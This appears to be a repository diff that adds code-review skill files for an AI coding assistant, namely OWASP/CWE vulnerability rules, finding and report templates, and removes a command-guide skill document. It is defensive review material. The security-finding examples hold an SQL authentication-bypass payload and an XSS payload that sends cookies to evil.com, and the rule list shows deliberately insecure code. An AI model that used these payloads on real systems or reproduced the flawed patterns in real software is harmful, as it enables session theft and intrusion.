+// Session ID in URL
+res.redirect(`/dashboard?sessionId=${sessionId}`);  // ❌
+```
+
+### A08:2021 - Software and Data Integrity Failures
+
+**Checks**:
+- Insecure deserialization
+- Unsigned/unverified updates
+- CI/CD pipeline vulnerabilities
+
+**Patterns**:
+```javascript
+// Insecure deserialization
+const obj = eval(userInput);  // ❌
+
+// Pickle vulnerability (Python)
+data = pickle.loads(untrusted_data)  # ❌
+```
+
+### A09:2021 - Security Logging and Monitoring Failures
+
+**Checks**:
+- Missing audit logs
+- Sensitive data in logs
+- Insufficient monitoring
+
+**Patterns**:
+```javascript
+// Password in logs
+console.log(`Login attempt: ${username}:${password}`);  // ❌
+```
+
+### A10:2021 - Server-Side Request Forgery (SSRF)
+
+**Checks**:
+- Unvalidated URLs in requests
+- Internal network access
+- Cloud metadata exposure
+
+**Patterns**:
+```javascript
+// SSRF vulnerability
+const response = await fetch(userProvidedUrl);  // ❌
+```
+
+## CWE Top 25 Coverage
+
+### CWE-79: Cross-site Scripting (XSS)
+
+**Patterns**:
+```javascript
+element.innerHTML = userInput;  // ❌
+document.write(userInput);  // ❌
+```
+
+### CWE-89: SQL Injection
+
+**Patterns**:
+```javascript
+query = `SELECT * FROM users WHERE name = '${name}'`;  // ❌
+```
+
+### CWE-20: Improper Input Validation
+
+**Checks**:
+- Missing input sanitization
+- No input length limits
+- Unvalidated file uploads
+
+### CWE-78: OS Command Injection
+
+**Patterns**:
+```javascript
+exec(`ping ${userInput}`);  // ❌
+```
+
+### CWE-190: Integer Overflow
+
+**Checks**:
+- Large number operations without bounds checking
+- Array allocation with user-controlled size
+
+## Language-Specific Security Rules
+
+### TypeScript/JavaScript
+
+- Prototype pollution
+- eval() usage
+- Unsafe regex (ReDoS)
+- require() with dynamic input
+
+### Python
+
+- pickle vulnerabilities
+- yaml.unsafe_load()
+- SQL injection in SQLAlchemy
+- Command injection in subprocess
+
+### Java
+
+- Deserialization vulnerabilities
+- XXE in XML parsers
+- Path traversal
+- SQL injection in JDBC
+
+### Go
+
+- Race conditions
+- SQL injection
+- Path traversal
+- Weak cryptography
+
+## Severity Classification
+
+### Critical
+- Remote code execution
+- SQL injection with write access
+- Authentication bypass
+- Hardcoded credentials in production
+
+### High
+- XSS in sensitive contexts
+- Missing authorization checks
+- Sensitive data exposure
+- Insecure cryptography
+
+### Medium
+- Missing rate limiting
+- Weak password policy
+- Security misconfiguration
+- Information disclosure
+
+### Low
+- Missing security headers
+- Verbose error messages
+- Outdated dependencies (no known exploits)

.claude/skills/code-reviewer/templates/best-practice-finding.md

@@ -0,0 +1,234 @@
+# Best Practice Finding Template
+
+Use this template for documenting code quality, performance, and maintainability issues.
+
+## Finding Structure
+
+```json
+{
+  "id": "BP-{number}",
+  "type": "{issue-type}",
+  "category": "{code_quality|performance|maintainability}",
+  "severity": "{high|medium|low}",
+  "file": "{file-path}",
+  "line": {line-number},
+  "function": "{function-name}",
+  "message": "{clear-description}",
+  "recommendation": {
+    "description": "{how-to-fix}",
+    "example": "{corrected-code}"
+  }
+}
+```
+
+## Markdown Template
+
+```markdown
+### 🟠 [BP-{number}] {Issue Title}
+
+**File**: `{file-path}:{line}`
+**Category**: {Code Quality|Performance|Maintainability}
+
+**Issue**: {Detailed explanation of the problem}
+
+**Current Code**:
+\`\`\`{language}
+{problematic-code}
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`{language}
+{improved-code-with-comments}
+\`\`\`
+
+**Impact**: {Why this matters - readability, performance, maintainability}
+
+---
+```
+
+## Example: High Complexity
+
+```markdown
+### 🟠 [BP-001] High Cyclomatic Complexity
+
+**File**: `src/utils/validator.ts:78`
+**Category**: Code Quality
+**Function**: `validateUserInput`
+**Complexity**: 15 (threshold: 10)
+
+**Issue**: Function has 15 decision points, making it difficult to test and maintain.
+
+**Current Code**:
+\`\`\`typescript
+function validateUserInput(input) {
+  if (!input) return false;
+  if (!input.email) return false;
+  if (!input.email.includes('@')) return false;
+  if (input.email.length > 255) return false;
+  // ... 11 more conditions
+}
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`typescript
+// Extract validation rules
+const validationRules = {
+  email: (email) => email && email.includes('@') && email.length <= 255,
+  password: (pwd) => pwd && pwd.length >= 8 && /[A-Z]/.test(pwd),
+  username: (name) => name && /^[a-zA-Z0-9_]+$/.test(name),
+};
+
+// Simplified validator
+function validateUserInput(input) {
+  return Object.entries(validationRules).every(([field, validate]) =>
+    validate(input[field])
+  );
+}
+\`\`\`
+
+**Impact**: Reduces complexity from 15 to 3, improves testability, and makes validation rules reusable.
+
+---
+```
+
+## Example: N+1 Query
+
+```markdown
+### 🟠 [BP-002] N+1 Query Pattern
+
+**File**: `src/api/orders.ts:45`
+**Category**: Performance
+
+**Issue**: Database query executed inside loop, causing N+1 queries problem. For 100 orders, this creates 101 database queries instead of 2.
+
+**Current Code**:
+\`\`\`typescript
+const orders = await Order.findAll();
+for (const order of orders) {
+  const user = await User.findById(order.userId);
+  order.userName = user.name;
+}
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`typescript
+// Batch query all users at once
+const orders = await Order.findAll();
+const userIds = orders.map(o => o.userId);
+const users = await User.findByIds(userIds);
+
+// Create lookup map for O(1) access
+const userMap = new Map(users.map(u => [u.id, u]));
+
+// Enrich orders with user data
+for (const order of orders) {
+  order.userName = userMap.get(order.userId)?.name;
+}
+\`\`\`
+
+**Impact**: Reduces database queries from O(n) to O(1), significantly improving performance for large datasets.
+
+---
+```
+
+## Example: Missing Documentation
+
+```markdown
+### 🟡 [BP-003] Missing Documentation
+
+**File**: `src/services/PaymentService.ts:23`
+**Category**: Maintainability
+
+**Issue**: Exported class lacks documentation, making it difficult for other developers to understand its purpose and usage.
+
+**Current Code**:
+\`\`\`typescript
+export class PaymentService {
+  async processPayment(orderId: string, amount: number) {
+    // implementation
+  }
+}
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`typescript
+/**
+ * Service for processing payment transactions
+ * 
+ * Handles payment processing, refunds, and transaction logging.
+ * Integrates with Stripe payment gateway.
+ * 
+ * @example
+ * const paymentService = new PaymentService();
+ * const result = await paymentService.processPayment('order-123', 99.99);
+ */
+export class PaymentService {
+  /**
+   * Process a payment for an order
+   * 
+   * @param orderId - Unique order identifier
+   * @param amount - Payment amount in USD
+   * @returns Payment confirmation with transaction ID
+   * @throws {PaymentError} If payment processing fails
+   */
+  async processPayment(orderId: string, amount: number) {
+    // implementation
+  }
+}
+\`\`\`
+
+**Impact**: Improves code discoverability and reduces onboarding time for new developers.
+
+---
+```
+
+## Example: Memory Leak
+
+```markdown
+### 🟠 [BP-004] Potential Memory Leak
+
+**File**: `src/components/Chat.tsx:56`
+**Category**: Performance
+
+**Issue**: WebSocket event listener added without cleanup, causing memory leaks when component unmounts.
+
+**Current Code**:
+\`\`\`tsx
+useEffect(() => {
+  socket.on('message', handleMessage);
+}, []);
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`tsx
+useEffect(() => {
+  socket.on('message', handleMessage);
+  
+  // Cleanup on unmount
+  return () => {
+    socket.off('message', handleMessage);
+  };
+}, []);
+\`\`\`
+
+**Impact**: Prevents memory leaks and improves application stability in long-running sessions.
+
+---
+```
+
+## Severity Guidelines
+
+### High
+- Major performance impact (N+1 queries, O(n²) algorithms)
+- Critical maintainability issues (complexity > 15)
+- Missing error handling in critical paths
+
+### Medium
+- Moderate performance impact
+- Code quality issues (complexity 11-15, duplication)
+- Missing tests for important features
+
+### Low
+- Minor style violations
+- Missing documentation
+- Low-impact dead code

.claude/skills/code-reviewer/templates/report-template.md

@@ -0,0 +1,316 @@
+# Report Template
+
+## Main Report Structure (REPORT.md)
+
+```markdown
+# Code Review Report
+
+**Generated**: {timestamp}
+**Scope**: {scope}
+**Files Reviewed**: {total_files}
+**Total Findings**: {total_findings}
+
+---
+
+## 📊 Executive Summary
+
+### Overall Assessment
+
+{Brief 2-3 paragraph assessment of code health}
+
+### Risk Level: {LOW|MEDIUM|HIGH|CRITICAL}
+
+{Risk assessment based on findings severity and count}
+
+### Key Statistics
+
+| Metric | Value | Status |
+|--------|-------|--------|
+| Total Files | {count} | - |
+| Files with Issues | {count} | {percentage}% |
+| Critical Findings | {count} | {icon} |
+| High Findings | {count} | {icon} |
+| Medium Findings | {count} | {icon} |
+| Low Findings | {count} | {icon} |
+
+### Category Breakdown
+
+| Category | Count | Percentage |
+|----------|-------|------------|
+| Security | {count} | {percentage}% |
+| Code Quality | {count} | {percentage}% |
+| Performance | {count} | {percentage}% |
+| Maintainability | {count} | {percentage}% |
+
+---
+
+## 🎯 Quality Scores
+
+### Security Score: {score}/100
+{Assessment and key issues}
+
+### Code Quality Score: {score}/100
+{Assessment and key issues}
+
+### Performance Score: {score}/100
+{Assessment and key issues}
+
+### Maintainability Score: {score}/100
+{Assessment and key issues}
+
+### Overall Score: {score}/100
+
+**Grade**: {A|B|C|D|F}
+
+---
+
+## 🔴 Critical Findings (Requires Immediate Action)
+
+{List all critical findings using security-finding.md template}
+
+---
+
+## 🟠 High Priority Findings
+
+{List all high findings}
+
+---
+
+## 🟡 Medium Priority Findings
+
+{List all medium findings}
+
+---
+
+## 🟢 Low Priority Findings
+
+{List all low findings}
+
+---
+
+## 📋 Action Plan
+
+### Immediate (Within 24 hours)
+1. {Critical issue 1}
+2. {Critical issue 2}
+3. {Critical issue 3}
+
+### Short-term (Within 1 week)
+1. {High priority issue 1}
+2. {High priority issue 2}
+...
+
+### Medium-term (Within 1 month)
+1. {Medium priority issue 1}
+2. {Medium priority issue 2}
+...
+
+### Long-term (Within 3 months)
+1. {Low priority issue 1}
+2. {Improvement initiative 1}
+...
+
+---
+
+## 📊 Metrics Dashboard
+
+### Code Health Trends
+
+{If historical data available, show trends}
+
+### File Hotspots
+
+Top files with most issues:
+1. `{file-path}` - {count} issues ({severity breakdown})
+2. `{file-path}` - {count} issues
+...
+
+### Technology Breakdown
+
+Issues by language/framework:
+- TypeScript: {count} issues
+- Python: {count} issues
+...
+
+---
+
+## ✅ Compliance Status
+
+### PCI DSS
+- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
+- **Affecting Findings**: {list}
+
+### HIPAA
+- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
+- **Affecting Findings**: {list}
+
+### GDPR
+- **Status**: {COMPLIANT|NON-COMPLIANT|PARTIAL}
+- **Affecting Findings**: {list}
+
+---
+
+## 📚 Appendix
+
+### A. Review Configuration
+
+\`\`\`json
+{review-config}
+\`\`\`
+
+### B. Tools and Versions
+
+- Code Reviewer Skill: v1.0.0
+- Security Rules: OWASP Top 10 2021, CWE Top 25
+- Languages Analyzed: {list}
+
+### C. References
+
+- [OWASP Top 10 2021](https://owasp.org/Top10/)
+- [CWE Top 25](https://cwe.mitre.org/top25/)
+- {additional references}
+
+### D. Full Findings Index
+
+{Links to detailed finding JSONs}
+```
+
+---
+
+## Fix Checklist Template (FIX-CHECKLIST.md)
+
+```markdown
+# Code Review Fix Checklist
+
+**Generated**: {timestamp}
+**Total Items**: {count}
+
+---
+
+## 🔴 Critical Issues (Fix Immediately)
+
+- [ ] **[SEC-001]** SQL Injection in `src/auth/user-service.ts:145`
+      - Effort: 1 hour
+      - Priority: P0
+      - Assignee: ___________
+
+- [ ] **[SEC-002]** Hardcoded JWT Secret in `src/auth/jwt.ts:23`
+      - Effort: 30 minutes
+      - Priority: P0
+      - Assignee: ___________
+
+---
+
+## 🟠 High Priority Issues (Fix This Week)
+
+- [ ] **[SEC-003]** Missing Authorization in `src/api/admin.ts:34`
+      - Effort: 2 hours
+      - Priority: P1
+      - Assignee: ___________
+
+- [ ] **[BP-001]** N+1 Query in `src/api/orders.ts:45`
+      - Effort: 1 hour
+      - Priority: P1
+      - Assignee: ___________
+
+---
+
+## 🟡 Medium Priority Issues (Fix This Month)
+
+{List medium priority items}
+
+---
+
+## 🟢 Low Priority Issues (Fix Next Release)
+
+{List low priority items}
+
+---
+
+## Progress Tracking
+
+**Overall Progress**: {completed}/{total} ({percentage}%)
+
+- Critical: {completed}/{total}
+- High: {completed}/{total}
+- Medium: {completed}/{total}
+- Low: {completed}/{total}
+
+**Estimated Total Effort**: {hours} hours
+**Estimated Completion**: {date}
+```
+
+---
+
+## Summary JSON Template (summary.json)
+
+```json
+{
+  "report_date": "2024-01-15T12:00:00Z",
+  "scope": "src/**/*",
+  "statistics": {
+    "total_files": 247,
+    "files_with_issues": 89,
+    "total_findings": 69,
+    "by_severity": {
+      "critical": 3,
+      "high": 13,
+      "medium": 30,
+      "low": 23
+    },
+    "by_category": {
+      "security": 24,
+      "code_quality": 18,
+      "performance": 12,
+      "maintainability": 15
+    }
+  },
+  "scores": {
+    "security": 68,
+    "code_quality": 75,
+    "performance": 82,
+    "maintainability": 70,
+    "overall": 74
+  },
+  "grade": "C",
+  "risk_level": "MEDIUM",
+  "action_required": true,
+  "compliance": {
+    "pci_dss": {
+      "status": "NON_COMPLIANT",
+      "affecting_findings": ["SEC-001", "SEC-002", "SEC-008", "SEC-011"]
+    },
+    "hipaa": {
+      "status": "NON_COMPLIANT",
+      "affecting_findings": ["SEC-005", "SEC-009"]
+    },
+    "gdpr": {
+      "status": "PARTIAL",
+      "affecting_findings": ["SEC-002", "SEC-005", "SEC-007"]
+    }
+  },
+  "top_issues": [
+    {
+      "id": "SEC-001",
+      "type": "sql-injection",
+      "severity": "critical",
+      "file": "src/auth/user-service.ts",
+      "line": 145
+    }
+  ],
+  "hotspots": [
+    {
+      "file": "src/auth/user-service.ts",
+      "issues": 5,
+      "severity_breakdown": { "critical": 1, "high": 2, "medium": 2 }
+    }
+  ],
+  "effort_estimate": {
+    "critical": 4.5,
+    "high": 18,
+    "medium": 35,
+    "low": 12,
+    "total_hours": 69.5
+  }
+}
+```

.claude/skills/code-reviewer/templates/security-finding.md

@@ -0,0 +1,161 @@
+# Security Finding Template
+
+Use this template for documenting security vulnerabilities.
+
+## Finding Structure
+
+```json
+{
+  "id": "SEC-{number}",
+  "type": "{vulnerability-type}",
+  "severity": "{critical|high|medium|low}",
+  "file": "{file-path}",
+  "line": {line-number},
+  "column": {column-number},
+  "code": "{vulnerable-code-snippet}",
+  "message": "{clear-description-of-issue}",
+  "cwe": "CWE-{number}",
+  "owasp": "A{number}:2021 - {category}",
+  "recommendation": {
+    "description": "{how-to-fix}",
+    "fix_example": "{corrected-code}"
+  },
+  "references": [
+    "https://...",
+    "https://..."
+  ]
+}
+```
+
+## Markdown Template
+
+```markdown
+### 🔴 [SEC-{number}] {Vulnerability Title}
+
+**File**: `{file-path}:{line}`
+**CWE**: CWE-{number} | **OWASP**: A{number}:2021 - {category}
+
+**Vulnerable Code**:
+\`\`\`{language}
+{vulnerable-code-snippet}
+\`\`\`
+
+**Issue**: {Detailed explanation of the vulnerability and potential impact}
+
+**Attack Example** (if applicable):
+\`\`\`
+{example-attack-payload}
+Result: {what-happens}
+Effect: {security-impact}
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`{language}
+{corrected-code-with-comments}
+\`\`\`
+
+**References**:
+- [{reference-title}]({url})
+- [{reference-title}]({url})
+
+---
+```
+
+## Severity Icon Mapping
+
+- Critical: 🔴
+- High: 🟠
+- Medium: 🟡
+- Low: 🟢
+
+## Example: SQL Injection Finding
+
+```markdown
+### 🔴 [SEC-001] SQL Injection in User Authentication
+
+**File**: `src/auth/user-service.ts:145`
+**CWE**: CWE-89 | **OWASP**: A03:2021 - Injection
+
+**Vulnerable Code**:
+\`\`\`typescript
+const query = \`SELECT * FROM users WHERE username = '\${username}'\`;
+const user = await db.execute(query);
+\`\`\`
+
+**Issue**: User input (`username`) is directly concatenated into SQL query, allowing attackers to inject malicious SQL commands and bypass authentication.
+
+**Attack Example**:
+\`\`\`
+username: ' OR '1'='1' --
+Result: SELECT * FROM users WHERE username = '' OR '1'='1' --'
+Effect: Bypasses authentication, returns all users
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`typescript
+// Use parameterized queries
+const query = 'SELECT * FROM users WHERE username = ?';
+const user = await db.execute(query, [username]);
+
+// Or use ORM
+const user = await User.findOne({ where: { username } });
+\`\`\`
+
+**References**:
+- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
+- [CWE-89](https://cwe.mitre.org/data/definitions/89.html)
+
+---
+```
+
+## Example: XSS Finding
+
+```markdown
+### 🟠 [SEC-002] Cross-Site Scripting (XSS) in Comment Rendering
+
+**File**: `src/components/CommentList.tsx:89`
+**CWE**: CWE-79 | **OWASP**: A03:2021 - Injection
+
+**Vulnerable Code**:
+\`\`\`tsx
+<div dangerouslySetInnerHTML={{ __html: comment.body }} />
+\`\`\`
+
+**Issue**: User-generated content rendered without sanitization, allowing script injection.
+
+**Attack Example**:
+\`\`\`
+comment.body: "<script>fetch('evil.com/steal?cookie='+document.cookie)</script>"
+Effect: Steals user session cookies
+\`\`\`
+
+**Recommended Fix**:
+\`\`\`tsx
+import DOMPurify from 'dompurify';
+
+// Sanitize HTML before rendering
+<div dangerouslySetInnerHTML={{ 
+  __html: DOMPurify.sanitize(comment.body) 
+}} />
+
+// Or use text content (if HTML not needed)
+<div>{comment.body}</div>
+\`\`\`
+
+**References**:
+- [OWASP XSS Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
+- [CWE-79](https://cwe.mitre.org/data/definitions/79.html)
+
+---
+```
+
+## Compliance Mapping Template
+
+When finding affects compliance:
+
+```markdown
+**Compliance Impact**:
+- **PCI DSS**: Requirement 6.5.1 (Injection flaws)
+- **HIPAA**: Technical Safeguards - Access Control
+- **GDPR**: Article 32 (Security of processing)
+```

.claude/skills/command-guide/SKILL.md

@@ -1,388 +0,0 @@
----
-name: command-guide
-description: Workflow command guide for Claude Code Workflow (78 commands). Search/browse commands, get next-step recommendations, view documentation, report issues. Triggers "CCW-help", "CCW-issue", "ccw-help", "ccw-issue", "ccw"
-allowed-tools: Read, Grep, Glob, AskUserQuestion
-version: 5.8.0
----
-
-# Command Guide Skill
-
-Comprehensive command guide for Claude Code Workflow (CCW) system covering 78 commands across 5 categories (workflow, cli, memory, task, general).
-
-## 🆕 What's New in v5.8.0
-
-### Major Features
-
-**🎨 UI Design Style Memory Workflow** (Primary Focus)
-- **`/memory:style-skill-memory`** - Generate reusable SKILL packages from design systems
-- **`/workflow:ui-design:codify-style`** - Extract design tokens from code with automatic file discovery
-- **`/workflow:ui-design:reference-page-generator`** - Generate multi-component reference pages
-- **Workflow**: Design extraction → Token documentation → SKILL package → Easy loading
-
-**⚡ `/workflow:lite-plan`** - Intelligent Planning & Execution (Testing Phase)
-- Dynamic workflow adaptation (smart exploration, adaptive planning, progressive clarification)
-- Two-dimensional confirmation (task approval + execution method selection)
-- Direct execution with live TodoWrite progress tracking
-- Faster than `/workflow:plan` (1-3 min vs 5-10 min) for simple to medium tasks
-
-**🗺️ `/memory:code-map-memory`** - Code Flow Mapping Generator (Testing Phase)
-- Uses cli-explore-agent for deep code flow analysis with dual-source strategy
-- Generates Mermaid diagrams for architecture, functions, data flow, conditional paths
-- Creates feature-specific SKILL packages for code understanding
-- Progressive loading (2K → 30K tokens) for efficient context management
-
-### Agent 
-
-- **cli-explore-agent**  - Specialized code exploration with Deep Scan mode (Bash + Gemini)
-- **cli-planning-agent** - Enhanced task generation with improved context handling
-- **ui-design-agent** - Major refactoring for better design system extraction
-
-### Additional Improvements
-- Enhanced brainstorming workflows with parallel execution
-- Improved test workflow documentation and task attachment models
-- Updated CLI tool default models (Gemini 2.5-pro)
-
-## 🧠 Core Principle: Intelligent Integration
-
-**⚠️ IMPORTANT**: This SKILL provides **reference materials** for intelligent integration, NOT templates for direct copying.
-
-**Response Strategy**:
-1. **Analyze user's specific context** - Understand their exact need, workflow stage, and technical level
-2. **Extract relevant information** - Select only the pertinent parts from reference guides
-3. **Synthesize and customize** - Combine multiple sources, add context-specific examples
-4. **Deliver targeted response** - Provide concise, actionable guidance tailored to the user's situation
-
-**Never**:
-- ❌ Copy-paste entire template sections verbatim
-- ❌ Return raw reference documentation without processing
-- ❌ Provide generic responses that ignore user context
-
-**Always**:
-- ✅ Understand the user's specific situation first
-- ✅ Integrate information from multiple sources (indexes, guides, reference docs)
-- ✅ Customize examples and explanations to match user's use case
-- ✅ Provide progressive depth - brief answers with "more detail available" prompts
-
----
-
-## 🎯 Operation Modes
-
-### Mode 1: Command Search 🔍
-
-**When**: User searches by keyword, category, or use-case
-
-**Triggers**: "搜索命令", "find command", "planning 相关", "search"
-
-**Process**:
-1. Identify search type (keyword/category/use-case)
-2. Query appropriate index (all-commands/by-category/by-use-case)
-3. **Intelligently filter and rank** results based on user's implied context
-4. **Synthesize concise response** with command names, brief descriptions, and use-case fit
-5. **Suggest next steps** - related commands or workflow patterns
-
-**Example**: "搜索 planning 命令" → Analyze user's likely goal → Present top 3-5 most relevant planning commands with context-specific usage hints, NOT raw JSON dump
-
----
-
-### Mode 2: Smart Recommendations 🤖
-
-**When**: User asks for next steps after a command
-
-**Triggers**: "下一步", "what's next", "after /workflow:plan", "推荐"
-
-**Process**:
-1. **Analyze workflow context** - Understand where user is in their development cycle
-2. Query `index/command-relationships.json` for possible next commands
-3. **Evaluate and prioritize** recommendations based on:
-   - User's stated goals
-   - Common workflow patterns
-   - Project complexity indicators
-4. **Craft contextual guidance** - Explain WHY each recommendation fits, not just WHAT to run
-5. **Provide workflow examples** - Show complete flow, not isolated commands
-
-**Example**: "执行完 /workflow:plan 后做什么？" → Analyze plan output quality → Recommend `/workflow:action-plan-verify` (if complex) OR `/workflow:execute` (if straightforward) with reasoning for each choice
-
----
-
-### Mode 3: Full Documentation 📖
-
-**When**: User requests command details
-
-**Triggers**: "参数说明", "怎么用", "how to use", "详情"
-
-**Process**:
-1. Locate command in `index/all-commands.json`
-2. Read original command file for full details
-3. **Extract user-relevant sections** - Focus on what they asked about (parameters OR examples OR workflow)
-4. **Enhance with context** - Add use-case specific examples if user's scenario is clear
-5. **Progressive disclosure** - Provide core info first, offer "need more details?" prompts
-
-**Example**: "/workflow:plan 的参数是什么？" → Identify user's experience level → Present parameters with context-appropriate explanations (beginner: verbose + examples; advanced: concise + edge cases), NOT raw documentation dump
-
----
-
-### Mode 4: Beginner Onboarding 🎓
-
-**When**: New user needs guidance
-
-**Triggers**: "新手", "getting started", "如何开始", "常用命令", **"从0到1"**, **"全新项目"**
-
-**Process**:
-1. **Assess user background** - Ask clarifying questions if needed (coding experience? project type?)
-2. **⚠️ Identify project stage** - FROM-ZERO-TO-ONE vs FEATURE-ADDITION:
-   - **从0到1场景** (全新项目/产品/架构决策) → **MUST START with brainstorming workflow**
-   - **功能新增场景** (已有项目中添加功能) → Start with planning workflow
-3. **Design personalized learning path** based on their goals and stage
-4. **Curate essential commands** from `index/essential-commands.json` - Select 3-5 most relevant for their use case
-5. **Provide guided first example** - Walk through ONE complete workflow with explanation, **emphasizing brainstorming for 0-to-1 scenarios**
-6. **Set clear next steps** - What to try next, where to get help
-
-**Example 1 (从0到1)**: "我是新手，如何开始全新项目？" → Identify as FROM-ZERO-TO-ONE → Emphasize brainstorming workflow (`/workflow:brainstorm:artifacts`) as mandatory first step → Explain brainstorm → plan → execute flow
-
-**Example 2 (功能新增)**: "我是新手，如何在已有项目中添加功能？" → Identify as FEATURE-ADDITION → Guide to planning workflow (`/workflow:plan`) → Explain plan → execute → test flow
-
-**Example 3 (探索)**: "我是新手，如何开始？" → Ask clarifying question: "是全新项目启动（从0到1）还是在已有项目中添加功能？" → Based on answer, route to appropriate workflow
-
----
-
-### Mode 5: Issue Reporting 📝
-
-**When**: User wants to report issue or request feature
-
-**Triggers**: **"CCW-issue"**, **"CCW-help"**, **"ccw-issue"**, **"ccw-help"**, **"ccw"**, "报告 bug", "功能建议", "问题咨询", "交互式诊断"
-
-**Process**:
-1. **Understand issue context** - Use AskUserQuestion to confirm type AND gather initial context
-2. **Intelligently guide information collection**:
-   - Adapt questions based on previous answers
-   - Skip irrelevant sections
-   - Probe for missing critical details
-3. **Select and customize template**:
-   - `issue-diagnosis.md`, `issue-bug.md`, `issue-feature.md`, or `issue-question.md`
-   - **Adapt template sections** to match user's specific scenario
-4. **Synthesize coherent issue report**:
-   - Integrate collected information with appropriate template sections
-   - **Highlight key details** - Don't bury critical info in boilerplate
-   - Add privacy-protected command history
-5. **Provide actionable next steps** - Immediate troubleshooting OR submission guidance
-
-**Example**: "CCW-issue" → Detect user frustration level → For urgent: fast-track to critical info collection; For exploratory: comprehensive diagnostic flow, NOT one-size-fits-all questionnaire
-
-**🆕 Enhanced Features**:
-- Complete command history with privacy protection
-- Interactive diagnostic checklists
-- Decision tree navigation (diagnosis template)
-- Execution environment capture
-
----
-
-### Mode 6: Deep Command Analysis 🔬
-
-**When**: User asks detailed questions about specific commands or agents
-
-**Triggers**: "详细说明", "命令原理", "agent 如何工作", "实现细节", specific command/agent name mentioned
-
-**Data Sources**:
-- `reference/agents/*.md` - All agent documentation (11 agents)
-- `reference/commands/**/*.md` - All command documentation (69 commands)
-
-**Process**:
-
-**Simple Query** (direct documentation lookup):
-1. Identify target command/agent from user query
-2. Locate corresponding markdown file in `reference/`
-3. **Extract contextually relevant sections** - Not entire document
-4. **Synthesize focused explanation**:
-   - Address user's specific question
-   - Add context-appropriate examples
-   - Link related concepts
-5. **Offer progressive depth** - "Want to know more about X?"
-
-**Complex Query** (CLI-assisted analysis):
-1. **Detect complexity indicators** (多个命令对比、工作流程分析、最佳实践)
-2. **Design targeted analysis prompt** for gemini/qwen via CCW:
-   - Frame user's question precisely
-   - Specify required analysis depth
-   - Request structured comparison/synthesis
-   ```bash
-   ccw cli -p "
-   PURPOSE: Analyze command documentation to answer user query
-   TASK: • [extracted user question with context]
-   MODE: analysis
-   CONTEXT: @**/*
-   EXPECTED: Comprehensive answer with examples and recommendations
-   RULES: $(cat ~/.claude/workflows/cli-templates/prompts/analysis/02-analyze-code-patterns.txt) | Focus on practical usage | analysis=READ-ONLY
-   " --tool gemini --cd ~/.claude/skills/command-guide/reference
-   ```
-   Note: Use `--cd` with absolute path `~/.claude/skills/command-guide/reference` for reference documentation access
-3. **Process and integrate CLI analysis**:
-   - Extract key insights from CLI output
-   - Add context-specific examples
-   - Synthesize actionable recommendations
-4. **Deliver tailored response** - Not raw CLI output
-
-**Query Classification**:
-- **Simple**: Single command explanation, parameter list, basic usage
-- **Complex**: Cross-command workflows, performance comparison, architectural analysis, best practices across multiple commands
-
-**Examples**:
-
-*Simple Query*:
-```
-User: "action-planning-agent 如何工作？"
-→ Read reference/agents/action-planning-agent.md
-→ **Identify user's knowledge gap** (mechanism? inputs/outputs? when to use?)
-→ **Extract relevant sections** addressing their need
-→ **Synthesize focused explanation** with examples
-→ NOT: Dump entire agent documentation
-```
-
-*Complex Query*:
-```
-User: "对比 workflow:plan 和 workflow:tdd-plan 的使用场景和最佳实践"
-→ Detect: 多命令对比 + 最佳实践
-→ **Design comparison framework** (when to use, trade-offs, workflow integration)
-→ Use gemini to analyze both commands with structured comparison prompt
-→ **Synthesize insights** into decision matrix and usage guidelines
-→ NOT: Raw command documentation side-by-side
-```
-
----
-
-## 📚 Index Files
-
-All command metadata is stored in JSON indexes for fast querying:
-
-- **all-commands.json** - Complete catalog (69 commands) with full metadata
-- **by-category.json** - Hierarchical organization (workflow/cli/memory/task)
-- **by-use-case.json** - Grouped by scenario (planning/implementation/testing/docs/session)
-- **essential-commands.json** - Top 14 most-used commands
-- **command-relationships.json** - Next-step recommendations and dependencies
-
-📖 Detailed structure: [Index Structure Reference](guides/index-structure.md)
-
----
-
-## 🗂️ Supporting Guides
-
-- **[Getting Started](guides/getting-started.md)** - 5-minute quickstart for beginners
-- **[Workflow Patterns](guides/workflow-patterns.md)** - Common workflow examples (Plan→Execute, TDD, UI design)
-- **[CLI Tools Guide](guides/cli-tools-guide.md)** - Gemini/Qwen/Codex usage
-- **[Troubleshooting](guides/troubleshooting.md)** - Common issues and solutions
-- **[Implementation Details](guides/implementation-details.md)** - Detailed logic for each mode
-- **[Usage Examples](guides/examples.md)** - Example dialogues and edge cases
-
-## 📦 Reference Documentation
-
-Complete backup of all command and agent documentation for deep analysis:
-
-- **[reference/agents/](reference/agents/)** - 14 agent markdown files with implementation details
-  - **New in v5.8**: cli-explore-agent (code exploration), cli-planning-agent (enhanced)
-- **[reference/commands/](reference/commands/)** - 78 command markdown files organized by category
-  - `cli/` - CLI tool commands (10 files) - **New**: document-analysis mode
-  - `memory/` - Memory management commands (12 files) - **New**: docs-full-cli, docs-related-cli, code-map-memory, style-skill-memory
-  - `task/` - Task management commands (4 files)
-  - `workflow/` - Workflow commands (50 files) - **New**: lite-plan, lite-fix, ui-design enhancements
-
-**Installation Path**: `~/.claude/skills/command-guide/` (skill designed for global installation)
-
-**Absolute Reference Path**: `~/.claude/skills/command-guide/reference/`
-
-**Usage**: Mode 6 queries these files directly for detailed command/agent analysis, or uses CLI tools (gemini/qwen) with absolute paths for complex cross-command analysis.
-
----
-
-## 🛠️ Issue Templates
-
-Generate standardized GitHub issue templates with **execution flow emphasis**:
-
-- **[Interactive Diagnosis](templates/issue-diagnosis.md)** - 🆕 Comprehensive diagnostic workflow with decision tree, checklists, and full command history
-- **[Bug Report](templates/issue-bug.md)** - Report command errors with complete execution flow and environment details
-- **[Feature Request](templates/issue-feature.md)** - Suggest improvements with current workflow analysis and pain points
-- **[Question](templates/issue-question.md)** - Ask usage questions with detailed attempt history and context
-
-**All templates now include**:
-- ✅ Complete command history sections (with privacy protection)
-- ✅ Execution environment details
-- ✅ Interactive problem-locating checklists
-- ✅ Structured troubleshooting guidance
-
-Templates are auto-populated during Mode 5 (Issue Reporting) interaction.
-
----
-
